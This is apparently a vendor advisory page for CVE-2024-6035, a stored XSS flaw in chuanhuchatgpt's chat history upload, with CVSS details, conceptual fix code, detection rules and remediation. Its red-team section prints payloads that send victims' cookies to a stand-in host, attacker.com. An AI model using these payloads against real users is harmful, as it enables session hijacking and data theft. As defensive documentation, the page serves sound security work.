CVE-2024-6035
Executive Summary
CVE-2024-6035 is a Stored Cross-Site Scripting (XSS) vulnerability in gaizhenbiao/chuanhuchatgpt version 20240410. The flaw allows an attacker to inject malicious JavaScript into a chat history file. When a victim uploads this file, the script executes in the victim's browser, enabling data theft, session hijacking, malware distribution, and phishing attacks. The vulnerability has a CVSS score of 7.4 (High) and currently has no known patch. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the risk remains significant due to the lack of a patch.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a Python-based application (chuanhuchatgpt). The application is likely distributed via GitHub or PyPI. The lack of a patch means that any deployment using version 20240410 is at risk. Organizations should audit their use of this package and consider alternative solutions or implement strict input validation and output encoding.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
- Base Score: 7.4 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must upload the malicious file
- Scope: Changed (S:C) – impact extends beyond the vulnerable component
- Confidentiality Impact: High (C:H) – potential data theft
- Integrity Impact: Low (I:L) – script injection
- Availability Impact: None (A:N)
Threat Level: High. The vulnerability is easy to exploit (low complexity, no privileges required) and can lead to severe consequences like session hijacking and data theft. The lack of a patch increases the risk.
Deep Dive & Mechanics
The vulnerability resides in the chat history file upload functionality of chuanhuchatgpt. The application fails to sanitize or encode user-supplied content within chat history files. An attacker can craft a chat history file containing malicious JavaScript code. When a victim uploads this file, the application renders the content without proper escaping, causing the script to execute in the victim's browser context.
Attack Flow:
- Attacker creates a chat history file (e.g., JSON or plain text) containing a payload like
<script>alert('XSS')</script>. - Attacker distributes the file via phishing, social engineering, or other means.
- Victim uploads the file to the chuanhuchatgpt application.
- The application reads the file and displays the chat history, executing the injected script.
- The script can steal cookies, session tokens, or perform actions on behalf of the victim.
Root Cause: Lack of output encoding or sanitization when rendering user-uploaded chat history content.
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable code pattern.
Vulnerable Code (Conceptual):
# app.py (vulnerable)
def upload_chat_history(file):
content = file.read()
# Directly rendering content without sanitization
return render_template('chat.html', history=content)
Patched Code (Conceptual):
# app.py (patched)
import html
def upload_chat_history(file):
content = file.read()
# Sanitize content using HTML escaping
safe_content = html.escape(content)
return render_template('chat.html', history=safe_content)
The patched version uses html.escape() to convert special characters (like <, >, &) into their HTML entity equivalents, preventing script execution.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target running chuanhuchatgpt version 20240410
- Ability to upload a chat history file
Exploit Payload:
// malicious_chat_history.json
{
"messages": [
{"role": "user", "content": "<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"}
]
}
Steps:
- Create the malicious JSON file with the XSS payload.
- Send the file to the victim via email or direct upload.
- When the victim uploads the file, the script executes and exfiltrates cookies.
Alternative Payload (Session Hijacking):
<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">
Blue Team (Defense & Detection)
Detection:
- Monitor for unusual chat history file uploads containing script tags or event handlers.
- Use web application firewalls (WAF) to block payloads containing
<script>oronerror.
Mitigation:
- Implement strict input validation and output encoding.
- Use Content Security Policy (CSP) headers to restrict script execution.
- Disable file upload functionality if not required.
Lab Setup:
# Clone the vulnerable repository
git clone https://github.com/gaizhenbiao/chuanhuchatgpt.git
cd chuanhuchatgpt
git checkout 20240410
# Install dependencies
pip install -r requirements.txt
# Run the application
python app.py
Indicators of Compromise (IOCs)
File-Based IOCs:
- Chat history files containing
<script>,onerror,onload, or other event handlers. - Files with unusual JavaScript code in the content field.
Network IOCs:
- Outbound connections to unknown domains from the application server.
- HTTP requests containing cookie data in query parameters (e.g.,
?cookie=).
Behavioral IOCs:
- Unexpected execution of JavaScript in the context of the chuanhuchatgpt application.
- Unauthorized session usage or account takeover.
Detection Engineering
YARA Rule
rule CVE_2024_6035_Stored_XSS {
meta:
description = "Detects malicious chat history files exploiting CVE-2024-6035"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-6035"
strings:
$script_tag = /<script[\s>]/ nocase
$event_handler = /on\w+\s*=/ nocase
$javascript_url = /javascript\s*:/ nocase
condition:
any of them
}
Sigma Rule
title: CVE-2024-6035 Stored XSS in chuanhuchatgpt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects upload of chat history files containing XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
category: file_event
product: windows
detection:
selection:
Image|endswith: '\python.exe'
TargetFilename|endswith: '.json'
TargetFilename|contains: 'chuanhuchatgpt'
filter:
- TargetFilename|contains: 'safe'
condition: selection and not filter
falsepositives:
- Legitimate use of JavaScript in chat history (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-6035 Stored XSS Payload in Chat History Upload"; flow:to_server,established; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable file upload functionality in chuanhuchatgpt until a patch is available.
- Implement input validation – sanitize all uploaded content using HTML escaping.
- Deploy a Web Application Firewall (WAF) to block XSS payloads.
- Use Content Security Policy (CSP) headers to restrict script execution.
Long-Term Fix:
- Apply the official patch when released by the vendor.
- Upgrade to a patched version of chuanhuchatgpt.
- Conduct a security audit of the application's file handling code.
Workaround:
- If file upload is essential, restrict uploads to trusted users only and scan files for malicious content.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.